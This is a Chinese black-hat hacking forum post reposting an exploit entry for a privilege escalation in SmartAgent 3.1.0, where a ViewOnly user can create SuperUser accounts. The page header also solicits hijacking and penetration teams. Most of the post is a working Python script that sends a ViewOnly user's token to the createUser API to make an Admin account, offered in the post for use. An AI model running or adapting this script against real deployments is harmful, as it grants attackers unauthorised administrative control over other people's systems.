跳转到帖子
诚邀seo站长，短信，劫持，渗透，代理，推广团队，博主，主播，各种资源流量大佬合作共赢【站外广告】

游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

SmartAgent 3.1.0 - Privilege Escalation

HACK1949
HACK1949
在 黑帽漏洞数据库

精选回复

发布于 
# Exploit Title: SmartAgent 3.1.0 - Privilege Escalation
# Date: 01-11-2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://www.smartagent.io/
# Version: Build 3.1.0
# Tested on: Windows 10/Kali Linux

A Low grade user like ViewOnly can create an account with SuperUser
permission.

Steps To Reproduce:
1. Create a user with ViewOnly
2. Visit https://demo.localhost.com/#/CampaignManager/users
3. Now you will be able to create an account with SuperUser.

#Python Exploit [Replace With Your Authorization Code]

import requests

session = requests.Session()

rawBody = "{\"username\":\"[email protected]
\",\"password\":\"Orionhridoy69\",\"appName\":\"AppEngage\",\"role\":\"Admin\",\"android\":\"1\",\"ios\":\"0\",\"kai\":\"0\"}"
headers = {"Authorization":"[email protected],engageToken=eyJhbGciOiJIUzUxMiJ9.eyJzdWIiOiJvcmlvbkBnbWFpbC5jb20iLCJyb2xlcyI6WyJWaWV3T25seSJdLCJhcHBOYW1lIjoiQXBwRW5nYWdlIiwicGxhdGZvcm0iOiJBTkRST0lEIiwiaXNzIjoiRU5BR0FHRSIsImlhdCI6MTYxMDM3NDEyMCwiZXhwIjoxNjExMjM4MTIwfQ.SbnZaRe3-2GOFOm7QDzvIBQCKBAK_GV-wKsMoH4GGChyjUFe2Ij4LiVl5rXsWRfTqNnJXj9fFxYTzkD2-kXlAQ","Accept":"application/json,
text/plain, */*","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:52.0) Gecko/20100101
Firefox/52.0","Referer":"https://demo.localhost.com/","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip,
deflate","DNT":"1","Content-Type":"application/json"}
response = session.post("https://demo.localhost.com/api/createUser",
data=rawBody, headers=headers)

print("User Created With\nUser: [email protected]\nPass: Orionhridoy69")

创建帐户或登录后发表意见

转到主题列表

最近浏览 0

  • 没有会员查看此页面。